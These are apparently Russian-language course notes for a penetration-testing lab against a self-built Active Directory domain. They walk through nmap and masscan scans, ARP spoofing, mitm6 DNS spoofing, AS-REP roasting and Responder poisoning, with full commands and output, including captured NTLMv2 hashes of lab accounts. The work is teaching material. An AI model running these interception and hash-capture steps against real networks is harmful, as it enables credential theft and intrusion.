###### tags: `module9`
[ToC]
# Занятие 4 MSF и типовые вектора атак
## Ссылки
https://cryptoworld.su/10-shagov-dlya-uspeshnoj-ataki-na-windows-active-directory/
https://xakep.ru/2021/06/25/windows-ad-book/
https://bhv.ru/product/active-directory-glazami-hakera/
https://hackmd.io/@sadykovildar/B16xYzRmw
https://www.dell.com/support/kbdoc/en-uk/000121955/installing-active-directory-domain-services-and-promoting-the-server-to-a-domain-controller
https://linuxhint.com/arp_spoofing_using_man_in_the_middle_attack/
https://github.com/fox-it/mitm6
https://github.com/peppelinux/pyDHCPStarvator
https://drive.google.com/file/d/1GzKVc3Up6uljuDWqBlA02p2Jb6goowdq/view?usp=sharing
https://github.com/SpiderLabs/Responder
https://medium.com/@browninfosecguy/smb-relay-attack-lab-c4d608efb2e
Перехват хэшей с помощью [Responder и документа MS Word](https://codeby.net/media/perexvat-xesha-ntlmv2-s-pomoschju-responder.268/)
Используйте Responder в среде Windows, чтобы [украсть хеш NTLMv2 и использовать его](https://russianblogs.com/article/94431615090/)
[Способы получения NetNTLMv2 хешей](https://litl-admin.ru/xaking/sposoby-polucheniya-netntlmv2-xeshej-polzovatelej-cherez-obshhedostupnyj-setevoj-resurs.html) пользователей через общедоступный сетевой ресурс
Описание [Responder]( https://kali.tools/?p=1679)
Как с помощью [документа перехватить хеш NTLMv2-SSP](https://spy-soft.net/intercept-ntlmv2-ssp-hash-and-bruteforce-password/) и сбрутить пароль.
https://www.sans.org/blog/smb-relay-demystified-and-ntlmv2-pwnage-with-python/
https://www.programmersought.com/article/44858267486/#ResponderMultiRelaypy_147

## Видеозапись урока
{%youtube OUtB6bcY9KQ %}
0:0:00 Ждем
0:14:50 Треп
0:17:03 Вступление, что делаем сегодня
0:24:00 Начинаем. почти
0:26:10 Статьи и книги про AD
0:29:12 Минимальные требования к лабе
0:31:00 Создаем win12 сервер
0:32:15 Настраиваем win12 сервер
0:37:05 Создаем домен
0:42:10 Планируем как будем атаковать домен
0:49:15 Вводим 7ку в домен
0:54:20 Вспоминаем атаки и общий треп, пока ждем 7ку
1:01:40 Настраиваем forwarding на Kali
1:02:46 Сканируем сеть nmap
1:07:44 MITM вступление
1:10:55 Arp Spoofing. Практика
1:17:35 Слушаем wireshark результаты
1:22:30 Перерыв и общий треп
1:35:00 Темир. Траблшутим иву.
1:41:20 MITM6
1:45:35 Устанавливаем mitm6
1:51:00 Запускаем mitm6 атаку
1:55:15 Пояснения работы mitm ipv6
2:01:43 DHCP Starvator
2:09:20 Relay attack. Responder
2:13:15 Про автоматический прокси на windows
2:15:50 Устанавливаем responder
2:22:03 Общий треп и перерыв
2:35:05 Настраиваем responder
2:39:40 Запускаем responder
2:45:30 траблшутим почему responder не работает
2:53:25 impacket
2:56:15 Устанавливаем impacket
2:58:30 Responder tools
2:39:35 Запускаем MiltiRelay
3:05:45 Продолжаем траблшут responder + MiltiRelay
3:12:05 Есть ответ, но не тот
3:16:05 Общий треп и планы на завтра
## Настройка лабы
### Схема стенда для лабораторной работы
Предполагаем, что атакующая машина Kali уже имеет устойчивое подключение через rp3 к внутреннему свичу и упрощаем наш стенд после [3го занятия](https://hackmd.io/@jaberez/r14mX025F). Удаляем DNS-tun, Rp3.
Добавляем на Kali второй интерфейс и подключаем его напрямую к свичу. Подключение к облаку оставляем для более удобного подключения к атакующей машине по ssh.
Добавляем еще один сервер ```Windows Server 2012/DC``` и подключаем его к свичу.

### Детали узлов
Windows Server 2012

### Настраиваем новый сервер.
:::warning
На сервере и рабочей станции необходимо удостовериться, что ipv6 включен.
Это понадобиться для mitm6
:::
#### Настраиваем сеть.
Можно использовать консольные комманды
netsh interface ipv4 add address "Ethernet" 192.168.1.100 255.255.255.0 gateway=192.168.1.1
netsh interface ipv4 add dnsserver "Ethernet" 192.168.1.100
или графический интерфейс.

#### Ставим роль DC и DNS.

#### Создаем новый домен.



на этом и на трех последующих экранах просто жмем дальше

После жмем install и ждем окончания настроки домена и перезагрузки контроллера домена.
:::info
https://www.dell.com/support/kbdoc/en-uk/000121955/installing-active-directory-domain-services-and-promoting-the-server-to-a-domain-controller
:::
### Вводим 7ку в домен
С учетом того что мы удалили fw на котором был и dhcp, то настраиваем сеть на 7ке руками и указываем в качестве dns наш новый доменный контроллер

Открываем свойства системы и в разделе Computer name жмем change и указываем наш домен

### Настраиваем форвардинг на Kali
Для того что бы мы могли испльзовать mitm технологии нам стоит включить форвардинг на сервере который будет перехватывать и подменять трафик.
Включаем **на Kali** forwarding для ipv4/6 и применяем изменения
```shell=sh
sed -i -E "s/#(net.ipv.*forwar)/\1/" /etc/sysctl.conf
sysctl -p
```
## Анализ сети
Перед началом проведения атак нам необходимо произвести анализ того с чем мы будем работать. В первую очередь это ОС и сервисы.
Для анализа можно применять различные инструменты, частично рассмотренные [на первом уроке](https://hackmd.io/@jaberez/ry_o-QI9t#nmap) такие как nmap, nessus и ореnVAS
Кроме этого нам могут быть полезны следующие утилиты или команды
### impacket
[Руководство Impacket: SMB / MSRPC](https://www.hackingarticles.in/impacket-guide-smb-msrpc/)
[Удаленное выполнение кода](https://zen.yandex.ru/media/cisoclub/udalennoe-vypolnenie-koda-s-pomosciu-impacket-5ef351b5f41f8c0d161b5b5b) с помощью Impacket.
[Описание инструментов](https://www.secureauth.com/labs-old/impacket/) из Impacket
### nslookup
Даже самый обычный nslookup может быть нам полезен. Как пример, узнаем кто является домен контроллером в сети. С помощью следующей команды:
nslookup -q=SRV _ldap._tcp.dc._msdcs.EXAMPLE.COM 192.168.60.100
EXAMPLE.COM — название домена;
192.168.60.100 — IP-адрес DNS-сервера.
В результате мы получим доменное имя DC. Например: dc1.example.com. Дальше остается только узнать его IP-адрес тем же nslookup:
nslookup dc1.example.com 192.168.60.100
### netdiscover
Netdiscover is an active/passive address reconnaissance tool, mainly developed for those wireless networks without dhcp server, when you are wardriving. ... Netdiscover can also be used to inspect your network ARP traffic, or find network addresses using auto scan mode, which will scan for common local networks.
sudo netdiscover -i tap0.12
```shell=sh
$sudo netdiscover -i eth1 -r 192.168.1.0/24
Currently scanning: Finished! | Screen View: Unique Hosts
4 Captured ARP Req/Rep packets, from 3 hosts. Total size: 240
_____________________________________________________________________________
IP At MAC Address Count Len MAC Vendor / Hostname
-----------------------------------------------------------------------------
192.168.1.100 50:00:00:09:00:00 2 120 Unknown vendor
192.168.1.1 50:00:00:01:00:01 1 60 Unknown vendor
192.168.1.15 50:00:00:05:00:00 1 60 Unknown vendor
```
### masscan
Если возникает потребность просканировать действительно большие пространства адресов за приемлемое время, то лучше Masscan вряд ли что-то можно найти. Говоря о больших диапазонах, я имею ввиду /8, IP целой страны или вообще все IP всего Интернета.
[Инструкция по использованию Masscan](https://hackware.ru/?p=577)
[Описание Masscan на kali](https://kali.tools/?p=976)
[Как просканировать большую сеть](https://www.securitylab.ru/analytics/490477.php), комбинированное сканирование masscan и nmap.
https://blackdiver.net/it/linux/4512
https://danielmiessler.com/study/masscan/
Установка
apt-get install masscan
Использование придельно простое.
Основное что необходимо указать - это сеть для сканирования, порты сканирования и скорость.
Более-менее реальной является 500-1000 пакетов в секунду, но практикуясь с этим значением можно подобрать подходящую скорость пакетов. Обратной стороной высокой скорости могуть быть пропущенны открытые и работающие порты или\и узлы.
sudo masscan -p0-1024 192.168.1.0/24 --rate=10000

и тоже самое на скорости в 10 раз ниже.

Скан еще не закончен, а портов уже явно больше.
Возобновление прерванного сканирования
sudo masscan --resume paused.conf
Провести сканирование и записать результаты и создать файл result.xml с результатами:
masscan 192.168.0.0/16 -p80 -oX result.xml
Так же у этого инструмента есть графический интерфейс, подробности описаны по ссылкам выше.
:::info
Nmap functionality
As mentioned initially, masscan is built to work much like nmap, which makes it familiar to many security people. Here are some of the other nmap-like options that are available:
You can see the nmap-like functionality by passing the --nmap switch.
-iL filename: Read inputs from a file.
‐‐exclude filename: Exclude a network on the command line.
‐‐excludefile: Exclude networks from a file.
-S: Spoof source IP.
-v interface: Verbose output.
-vv interface: Very verbose output.
==-e interface: Use specified interface.==
:::
### tcpdump
https://danielmiessler.com/study/tcpdump/
Обычный tcpdump тоже может быть нам полезен для получения дампфайл, который можно потом проанализировать утилитами на удаленной машине или скачать локально и посмотреть wireshark'ом.
tcpdump -i tap0 -w dump.pcap
tshark -r dump.pcap -T fields -e vlan.id | sort -n -u
### nmap scan
В нашем же практическом случае нас устроит
Перед началом реализации атаки сканируем внутренную сеть. Ищем узлы их открытые порты, ОС.
```
└─# nmap 192.168.1.0/24
Starting Nmap 7.91 ( https://nmap.org ) at 2022-01-14 10:59 EST
Nmap scan report for 192.168.1.15
Host is up (0.0031s latency).
Not shown: 991 closed ports
PORT STATE SERVICE
135/tcp open msrpc
139/tcp open netbios-ssn
445/tcp open microsoft-ds
1025/tcp open NFS-or-IIS
1026/tcp open LSA-or-nterm
1027/tcp open IIS
1028/tcp open unknown
1029/tcp open ms-lsa
1030/tcp open iad1
MAC Address: 50:00:00:05:00:00 (Unknown)
Nmap scan report for 192.168.1.100
Host is up (0.0052s latency).
Not shown: 984 filtered ports
PORT STATE SERVICE
53/tcp open domain
88/tcp open kerberos-sec
135/tcp open msrpc
139/tcp open netbios-ssn
389/tcp open ldap
445/tcp open microsoft-ds
464/tcp open kpasswd5
593/tcp open http-rpc-epmap
636/tcp open ldapssl
3268/tcp open globalcatLDAP
3269/tcp open globalcatLDAPssl
49154/tcp open unknown
49155/tcp open unknown
49157/tcp open unknown
49158/tcp open unknown
49159/tcp open unknown
MAC Address: 50:00:00:09:00:00 (Unknown)
Nmap scan report for 192.168.1.200
Host is up (0.000018s latency).
Not shown: 999 closed ports
PORT STATE SERVICE
22/tcp open ssh
Nmap done: 256 IP addresses (3 hosts up) scanned in 14.74 seconds
```
по результату сканирования мы видим два узла. Узел 192.168.1.100, судя по открытым портам, скорее всего контроллер домена.
Второй узел 192.168.1.15 скорее всего рабочая станция.
Проведем детальное сканирование узлов и определим их ОС.
```
└─# nmap 192.168.1.15 -sV -p445 -A
Starting Nmap 7.91 ( https://nmap.org ) at 2022-01-14 11:03 EST
Nmap scan report for 192.168.1.15
Host is up (0.0027s latency).
PORT STATE SERVICE VERSION
445/tcp open microsoft-ds Windows 7 Professional 7601 Service Pack 1 microsoft-ds (workgroup: HACKERU)
MAC Address: 50:00:00:05:00:00 (Unknown)
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Device type: general purpose
Running: Microsoft Windows Vista|7
OS CPE: cpe:/o:microsoft:windows_vista cpe:/o:microsoft:windows_7::sp1
OS details: Microsoft Windows Vista or Windows 7 SP1
Network Distance: 1 hop
Service Info: Host: WIN7; OS: Windows; CPE: cpe:/o:microsoft:windows
Host script results:
|_clock-skew: mean: 4h19m59s, deviation: 6h21m03s, median: 7h59m59s
|_nbstat: NetBIOS name: WIN7, NetBIOS user: <unknown>, NetBIOS MAC: 50:00:00:05:00:00 (unknown)
| smb-os-discovery:
| OS: Windows 7 Professional 7601 Service Pack 1 (Windows 7 Professional 6.1)
| OS CPE: cpe:/o:microsoft:windows_7::sp1:professional
| Computer name: win7
| NetBIOS computer name: WIN7\x00
| Domain name: hackeru.local
| Forest name: hackeru.local
| FQDN: win7.hackeru.local
|_ System time: 2022-01-15T11:03:40+11:00
| smb-security-mode:
| account_used: guest
| authentication_level: user
| challenge_response: supported
|_ message_signing: disabled (dangerous, but default)
| smb2-security-mode:
| 2.02:
|_ Message signing enabled but not required
| smb2-time:
| date: 2022-01-15T00:03:40
|_ start_date: 2022-01-14T04:14:21
TRACEROUTE
HOP RTT ADDRESS
1 2.74 ms 192.168.1.15
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 16.00 seconds
└─# nmap 192.168.1.100 -sV -p445 -A
Starting Nmap 7.91 ( https://nmap.org ) at 2022-01-14 11:05 EST
Nmap scan report for 192.168.1.100
Host is up (0.0018s latency).
PORT STATE SERVICE VERSION
445/tcp open microsoft-ds Windows Server 2012 R2 Standard 9600 microsoft-ds (workgroup: HACKERU)
MAC Address: 50:00:00:09:00:00 (Unknown)
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Device type: general purpose
Running: Microsoft Windows 2012
OS CPE: cpe:/o:microsoft:windows_server_2012:r2
OS details: Microsoft Windows Server 2012 or Windows Server 2012 R2
Network Distance: 1 hop
Service Info: Host: WIN-KC0CV19JL5C; OS: Windows; CPE: cpe:/o:microsoft:windows
Host script results:
|_clock-skew: mean: 10h40m00s, deviation: 4h37m07s, median: 8h00m00s
|_nbstat: NetBIOS name: WIN-KC0CV19JL5C, NetBIOS user: <unknown>, NetBIOS MAC: 50:00:00:09:00:00 (unknown)
| smb-os-discovery:
| OS: Windows Server 2012 R2 Standard 9600 (Windows Server 2012 R2 Standard 6.3)
| OS CPE: cpe:/o:microsoft:windows_server_2012::-
| Computer name: WIN-KC0CV19JL5C
| NetBIOS computer name: WIN-KC0CV19JL5C\x00
| Domain name: hackeru.local
| Forest name: hackeru.local
| FQDN: WIN-KC0CV19JL5C.hackeru.local
|_ System time: 2022-01-14T16:05:14-08:00
| smb-security-mode:
| account_used: guest
| authentication_level: user
| challenge_response: supported
|_ message_signing: required
| smb2-security-mode:
| 2.02:
|_ Message signing enabled and required
| smb2-time:
| date: 2022-01-15T00:05:14
|_ start_date: 2022-01-14T23:14:15
TRACEROUTE
HOP RTT ADDRESS
1 1.83 ms 192.168.1.100
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 48.47 seconds
```
Видим что рабочая станция это win7
==| OS: Windows 7 Professional 7601 Service Pack 1 (Windows 7 Professional 6.1)
| OS CPE: cpe:/o:microsoft:windows_7::sp1:professional==
а сервер это 2012
==| OS: Windows Server 2012 R2 Standard 9600 (Windows Server 2012 R2 Standard 6.3)
| OS CPE: cpe:/o:microsoft:windows_server_2012::-==
Кроме нам нужно просканировать наши узлы, чтобы найти машины с отключенной подписью SMB. У Nmap есть скрипт, который может помочь в этом сканировании, который называется «smb2-security-mode.nse».
```
┌──(root💀kali)-[/home/user]
└─# nmap --script=smb2-security-mode.nse -p445 192.168.1.15,100
Starting Nmap 7.92 ( https://nmap.org ) at 2022-01-15 10:21 EST
Nmap scan report for 192.168.1.15
Host is up (0.0015s latency).
PORT STATE SERVICE
445/tcp open microsoft-ds
MAC Address: 50:00:00:05:00:00 (Unknown)
Host script results:
| smb2-security-mode:
| 2.1:
|_ Message signing enabled but not required
Nmap scan report for 192.168.1.100
Host is up (0.0017s latency).
PORT STATE SERVICE
445/tcp open microsoft-ds
MAC Address: 50:00:00:09:00:00 (Unknown)
Host script results:
| smb2-security-mode:
| 3.0.2:
|_ Message signing enabled and required
Nmap done: 2 IP addresses (2 hosts up) scanned in 0.89 seconds
```
Видем, что для контроллера домена 192.168.1.100 требуется подпись SMB. Однако для рабочей станции 192.168.1.15 подпись SMB не требуется.
Будем это учитывать.
## Атаки
### MITM
#### ARP Spoofing
https://linuxhint.com/arp_spoofing_using_man_in_the_middle_attack/
Предпологая, что рабочая станция входит в домен, настроим arp spoofing между рабочей станцией и контроллером домена.
Запустим на Kali arpspoof. Если он не установлен то это можно сделать командой ```apt-get install dsniff```
```
┌──(root💀kali)-[/home/user]
└─# arpspoof -i eth1 -t 192.168.1.100 -r 192.168.1.15
0:50:0:0:6:1 50:0:0:9:0:0 0806 42: arp reply 192.168.1.15 is-at 0:50:0:0:6:1
0:50:0:0:6:1 50:0:0:5:0:0 0806 42: arp reply 192.168.1.100 is-at 0:50:0:0:6:1
0:50:0:0:6:1 50:0:0:9:0:0 0806 42: arp reply 192.168.1.15 is-at 0:50:0:0:6:1
0:50:0:0:6:1 50:0:0:5:0:0 0806 42: arp reply 192.168.1.100 is-at 0:50:0:0:6:1
0:50:0:0:6:1 50:0:0:9:0:0 0806 42: arp reply 192.168.1.15 is-at 0:50:0:0:6:1
0:50:0:0:6:1 50:0:0:5:0:0 0806 42: arp reply 192.168.1.100 is-at 0:50:0:0:6:1
```
На том же сервере Kali смотрим что видно в wiresharke

Запустим пинг с win7 на AD сервер и посмотрим что видно в шарке

Перезагрузим рабочую станции и зайдем на рабочий стол. Можем видеть различный трафик проходящий через наш узел.

>NBNS stands for NetBIOS Name Service. It is used to translate host names on a local network to local IP addresses. This is similar to what DNS does on the Internet. ... NBNS allows us to access this host by typing its host name into a browser instead of typing its IP address. It maps host names to IP addresses.
>**Is NetBIOS needed?**
NetBIOS is needed to join a domain and there are quite a few legacy apps that were designed around it and therefor need NetBIOS to function properly.

>**What is LLMNR used for?**
LLMNR stands for link-local multicast name resolution. NetBIOS and LLMNR are protocols used to resolve host names on local networks. Their main function is to resolve host names to facilitate communication between hosts on local networks
:::danger
>**Should I disable LLMNR?**
That said, in almost all cases LLMNR is no longer needed because proper DNS is configured. Disabling LLMNR closes a very serious risk vector.
https://www.blackhillsinfosec.com/how-to-disable-llmnr-why-you-want-to/
:::


Останавливаем arpspoof.
#### MITM6
https://github.com/fox-it/mitm6
Устанавливаем приложение скачав его из гита
git clone https://github.com/fox-it/mitm6
cd mitm6
python3 setup.py install
Запускаем и если на узлах в сети(win7 и windows12) включен Ipv6 то мы начнем перехватывать трафик. Для генерации обращений можем просто открыть броузер на win7.
```
┌──(root💀kali)-[/home/user/mitm6]
└─# mitm6 -i eth1
Starting mitm6 using the following configuration:
Primary adapter: eth1 [00:50:00:00:06:01]
IPv4 address: 192.168.1.200
IPv6 address: fe80::250:ff:fe00:601
Warning: Not filtering on any domain, mitm6 will reply to all DNS queries.
Unless this is what you want, specify at least one domain with -d
Renew reply sent to fe80::8872:1
Renew reply sent to fe80::8872:2
Sent spoofed reply for dns.msftncsi.com. to fe80::8872:2
Sent spoofed reply for dns.msftncsi.com. to fe80::8872:2
Sent spoofed reply for dns.msftncsi.com. to fe80::8872:2
Sent spoofed reply for wpad.hackeru.local. to fe80::8872:2
Sent spoofed reply for clientservices.googleapis.com. to fe80::8872:2
Sent spoofed reply for accounts.google.com. to fe80::8872:2
Sent spoofed reply for clients2.google.com. to fe80::8872:2
Sent spoofed reply for www.google.com. to fe80::8872:2
Sent spoofed reply for olwymvlosraf.hackeru.local. to fe80::8872:2
Sent spoofed reply for aabqprerro.hackeru.local. to fe80::8872:2
Sent spoofed reply for nncddumbu.hackeru.local. to fe80::8872:2
```
Трафик перехватывается.
Останавливаем mitm6
#### DHCP Starvator
:::warning
Ознакомиться позже
: Для применения этой атаки нам необходимо вернуть FW или любой dhcp сервер.
https://github.com/peppelinux/pyDHCPStarvator
https://drive.google.com/file/d/1GzKVc3Up6uljuDWqBlA02p2Jb6goowdq/view?usp=sharing
:::
### ASRep Roasting
AS-REP Roasting — это атака на Kerberos для учетных записей пользователей, не требующих предварительной аутентификации. Это довольно подробно объясняется в сообщении Harmj0y здесь , поэтому я сосредоточусь на его обобщении. Предварительная аутентификация — это первый шаг в аутентификации Kerberos, предназначенный для предотвращения атак подбора пароля методом грубой силы.
При атаке ASRep Roasting, сервер имеет три разных ответа:
+ хеш пароля пользователя;
+ у данного пользователя не выставлено UAF Dont Require PreAuth;
+ такого пользователя нет в базе Kerberos.
Таким образом, мы сможет узнать, существует пользователь или нет
```
┌──(root💀kali)-[/home/user]
└─# cat > ./users.txt
j
administrator
user
abc
^C
┌──(root💀kali)-[/home/user]
└─# impacket-GetNPUsers hackeru.local/ -dc-ip 192.168.1.100 -no-pass -usersfile ./users.txt -outputfile hash.txt 130 ⨯
Impacket v0.9.24 - Copyright 2021 SecureAuth Corporation
[-] User j doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] User administrator doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] Kerberos SessionError: KDC_ERR_C_PRINCIPAL_UNKNOWN(Client not found in Kerberos database)
[-] Kerberos SessionError: KDC_ERR_C_PRINCIPAL_UNKNOWN(Client not found in Kerberos database)
```
В нашем случае хэшей мы не нашли.
### Rellay Attack
:::info
Prerequisites
Layer 2 access to the Local Area Network
:::
При этих атаках злоумышленник вставляет себя в середину этого обмена. : Злоумышленник выбирает целевой сервер, на котором он хочет пройти аутентификацию, а затем злоумышленник ждет, пока кто-то в сети аутентифицируется на его машине. Именно здесь обнаружение мошеннических хостов, сканеры уязвимостей и административные скрипты, которые автоматически аутентифицируются на хостах, становятся лучшими друзьями тестировщика на проникновение. Когда автоматизированный процесс подключается к злоумышленнику, он передает попытку аутентификации своей цели (другой системе в сети, возможно, серверу). Цель генерирует вызов и отправляет его злоумышленнику. Злоумышленник отправляет запрос обратно исходной системе сканирования. Система сканирования шифрует хеш с правильным хешем пароля и отправляет его злоумышленнику. Злоумышленник передает правильно зашифрованный ответ своей цели и успешно проходит проверку подлинности. Этот процесс показан на следующей иллюстрации. СИНИЕ стрелки - это исходные сообщения, а КРАСНЫЕ стрелки - это слегка измененные версии тех сообщений, которые злоумышленник передает своей цели, чтобы он мог получить к ней доступ.

#### CrackMapExec
https://github.com/byt3bl33d3r/CrackMapExec
Как получить [NTLM-хеши пользователей домена](https://litl-admin.ru/xaking/kak-poluchit-ntlm-xeshi-polzovatelej-domena.html)?
#### Responder
https://github.com/SpiderLabs/Responder
https://medium.com/@browninfosecguy/smb-relay-attack-lab-c4d608efb2e
Перехват хэшей с помощью [Responder и документа MS Word](https://codeby.net/media/perexvat-xesha-ntlmv2-s-pomoschju-responder.268/)
Используйте Responder в среде Windows, чтобы [украсть хеш NTLMv2 и использовать его](https://russianblogs.com/article/94431615090/)
[Способы получения NetNTLMv2 хешей](https://litl-admin.ru/xaking/sposoby-polucheniya-netntlmv2-xeshej-polzovatelej-cherez-obshhedostupnyj-setevoj-resurs.html) пользователей через общедоступный сетевой ресурс
Описание [Responder]( https://kali.tools/?p=1679)
Как с помощью [документа перехватить хеш NTLMv2-SSP](https://spy-soft.net/intercept-ntlmv2-ssp-hash-and-bruteforce-password/) и сбрутить пароль.
[Аутентификация в системах Windows. Часть 1 - NTLM](https://interface31.ru/tech_it/2015/03/autentifikaciya-v-sistemah-windows-chast-1-ntlm.html)
https://infosecwriteups.com/abusing-ntlm-relay-and-pass-the-hash-for-admin-d24d0f12bea0
Эта программа включает в себя травитель LLMNR, NBT-NS и MDNS благодаря которому перенаправляется трафик с запросами и хешами аутентификации. Также в программу встроены жульнические серверы аутентификации HTTP/SMB/MSSQL/FTP/LDAP, которые поддерживают такие методы аутентификации как NTLMv1/NTLMv2/LMv2, Extended Security NTLMSSP и базовую HTTP аутентификацию, для которых Responder выполняет роль ретранслятора.
Responder это LLMNR, NBT-NS и MDNS poisoner (травитель). Он будет отвечать на определённые запросы NBT-NS (NetBIOS Name Service (Сервис Имён)) основываясь на их суффиксе имён. По умолчанию инструмент будет отвечать только на запросы File Server Service (службы файлового сервера) работу которого обеспечивает протокол SMB.
Идея здесь в том, чтобы наши ответы носили целевой характер, а мы были менее заметны в сети. Это также помогает гарантировать, что мы не нарушим нормальное поведение NBT-NS.
:::info
Eсли мы хотим просто слушать порты протоколов, то в конфиге респондера необходимо включить необходимый нам протокол.
Если нам необходимо активно влиять на трафик проходящий через на. Необходимо отключить прослушивание нужного нам порта и запустить утилиту которая будет обрабатывать проходящий трафик на этому порту. Например: multyrelay, smbrelay
:::
:key: Основная цель использования этого иструмента получить учетные записи и пароли к ним или доступ с системам для дальнейшего повышения привелегий.
Запустим респондер не отключая ни один из протоколов
```
┌──(root💀kali)-[/home/user]
└─# responder -I eth1 -d -w -v 2 ⨯
__
.----.-----.-----.-----.-----.-----.--| |.-----.----.
| _| -__|__ --| _ | _ | | _ || -__| _|
|__| |_____|_____| __|_____|__|__|_____||_____|__|
|__|
NBT-NS, LLMNR & MDNS Responder 3.1.1.0
Author: Laurent Gaffie (laurent.gaffie@gmail.com)
To kill this script hit CTRL-C
[+] Poisoners:
LLMNR [ON]
NBT-NS [ON]
MDNS [ON]
DNS [ON]
DHCP [ON]
[+] Servers:
HTTP server [ON]
HTTPS server [ON]
WPAD proxy [ON]
Auth proxy [OFF]
SMB server [ON]
Kerberos server [ON]
SQL server [ON]
FTP server [ON]
IMAP server [ON]
POP3 server [ON]
SMTP server [ON]
DNS server [ON]
LDAP server [ON]
RDP server [ON]
DCE-RPC server [ON]
WinRM server [ON]
[+] HTTP Options:
Always serving EXE [OFF]
Serving EXE [OFF]
Serving HTML [OFF]
Upstream Proxy [OFF]
[+] Poisoning Options:
Analyze Mode [OFF]
Force WPAD auth [OFF]
Force Basic Auth [OFF]
Force LM downgrade [OFF]
Force ESS downgrade [OFF]
[+] Generic Options:
Responder NIC [eth1]
Responder IP [192.168.1.200]
Responder IPv6 [fe80::250:ff:fe00:601]
Challenge set [random]
Don't Respond To Names ['ISATAP']
[+] Current Session Variables:
Responder Machine Name [WIN-5H3XTHRSJ26]
Responder Domain Name [SJ06.LOCAL]
Responder DCE-RPC Port [48602]
[+] Listening for events...
[*] [LLMNR] Poisoned answer sent to fe80::8dcf:b157:8f58:3927 for name wpad
[*] [LLMNR] Poisoned answer sent to ::ffff:192.168.1.15 for name wpad
[*] [LLMNR] Poisoned answer sent to ::ffff:192.168.1.15 for name wpad
[HTTP] Sending NTLM authentication request to fe80::8dcf:b157:8f58:3927
[HTTP] Sending NTLM authentication request to fe80::8dcf:b157:8f58:3927
[HTTP] GET request from: fe80::8dcf:b157:8f58:3927 URL: /wpad.dat
[HTTP] NTLMv2 Client : fe80::8dcf:b157:8f58:3927
[HTTP] NTLMv2 Username : HACKERU\Administrator
[HTTP] NTLMv2 Hash : Administrator::HACKERU:2211d91973c22225:1246FF34EB5431BC891AF57C0C67A228:0101000000000000211AF31C670AD801D13C01C11A49E381000000000200080053004A003000360001001E00570049004E002D00350048003300580054004800520053004A00320036000400140053004A00300036002E004C004F00430041004C0003003400570049004E002D00350048003300580054004800520053004A00320036002E0053004A00300036002E004C004F00430041004C000500140053004A00300036002E004C004F00430041004C000800300030000000000000000000000000300000B6A60F2A69B919054BB6CA1EA9C3BFC0829CDE5E2F68539C300363B4D2A528F60A0010000000000000000000000000000000000009003E0048005400540050002F005B0066006500380030003A003A003200350030003A00660066003A0066006500300030003A003600300031002500310031005D000000000000000000
```
В результате этого прослушивания у нас в папке с логами респондера собрались хэши учетных записей.
:::spoiler файл с хэшами
┌──(root💀kali)-[/home/user/responder/tools]
└─# cat /usr/share/responder/logs/HTTP-NTLMv2-fe80::8dcf:b157:8f58:3927.txt | less 130 ⨯
Administrator::HACKERU:2211d91973c22225:1246FF34EB5431BC891AF57C0C67A228:0101000000000000211AF31C670AD801D13C01C11A49E381000000000200080053004A003000360001001E00570049004E002D00350048003300580054004800520053004A00320036000400140053004A00300036002E004C004F00430041004C0003003400570049004E002D00350048003300580054004800520053004A00320036002E0053004A00300036002E004C004F00430041004C000500140053004A00300036002E004C004F00430041004C000800300030000000000000000000000000300000B6A60F2A69B919054BB6CA1EA9C3BFC0829CDE5E2F68539C300363B4D2A528F60A0010000000000000000000000000000000000009003E0048005400540050002F005B0066006500380030003A003A003200350030003A00660066003A0066006500300030003A003600300031002500310031005D000000000000000000
Administrator::HACKERU:2211d91973c22225:1246FF34EB5431BC891AF57C0C67A228:0101000000000000211AF31C670AD801D13C01C11A49E381000000000200080053004A003000360001001E00570049004E002D00350048003300580054004800520053004A00320036000400140053004A00300036002E004C004F00430041004C0003003400570049004E002D00350048003300580054004800520053004A00320036002E0053004A00300036002E004C004F00430041004C000500140053004A00300036002E004C004F00430041004C000800300030000000000000000000000000300000B6A60F2A69B919054BB6CA1EA9C3BFC0829CDE5E2F68539C300363B4D2A528F60A0010000000000000000000000000000000000009003E0048005400540050002F005B0066006500380030003A003A003200350030003A00660066003A0066006500300030003A003600300031002500310031005D000000000000000000
WIN7$::HACKERU:b9caa9ccbfc05c97:CC15D9F0E7CAA65742CEF3C8521EBFE6:010100000000000000B880E8680AD801DD291C18239C3293000000000200080032004F0047004C0001001E00570049004E002D0053005000320050003300320031003000530044004E000400140032004F0047004C002E004C004F00430041004C0003003400570049004E002D0053005000320050003300320031003000530044004E002E0032004F0047004C002E004C004F00430041004C000500140032004F0047004C002E004C004F00430041004C000800300030000000000000000000000000400000F35334B51D6EAD4D629DB29CF047CEE19841088C6120E6C7166D9E5BE5D7ADB80A0010000000000000000000000000000000000009003E0048005400540050002F005B0066006500380030003A003A003200350030003A00660066003A0066006500300030003A003600300031002500310031005D000000000000000000
WIN7$::HACKERU:b9caa9ccbfc05c97:CC15D9F0E7CAA65742CEF3C8521EBFE6:010100000000000000B880E8680AD801DD291C18239C3293000000000200080032004F0047004C0001001E00570049004E002D0053005000320050003300320031003000530044004E000400140032004F0047004C002E004C004F00430041004C0003003400570049004E002D0053005000320050003300320031003000530044004E002E0032004F0047004C002E004C004F00430041004C000500140032004F0047004C002E004C004F00430041004C000800300030000000000000000000000000400000F35334B51D6EAD4D629DB29CF047CEE19841088C6120E6C7166D9E5BE5D7ADB80A0010000000000000000000000000000000000009003E0048005400540050002F005B0066006500380030003A003A003200350030003A00660066003A0066006500300030003A003600300031002500310031005D000000000000000000
WIN7$::HACKERU:75f5f8c9e68a326d:05846740F89873FC06D7DC01272DFF56:010100000000000000D47130690AD8016698F45828B4FB56000000000200080032004F0047004C0001001E00570049004E002D0053005000320050003300320031003000530044004E000400140032004F0047004C002E004C004F00430041004C0003003400570049004E002D0053005000320050003300320031003000530044004E002E0032004F0047004C002E004C004F00430041004C000500140032004F0047004C002E004C004F00430041004C000800300030000000000000000000000000400000F35334B51D6EAD4D629DB29CF047CEE19841088C6120E6C7166D9E5BE5D7ADB80A0010000000000000000000000000000000000009003E0048005400540050002F005B0066006500380030003A003A003200350030003A00660066003A0066006500300030003A003600300031002500310031005D000000000000000000
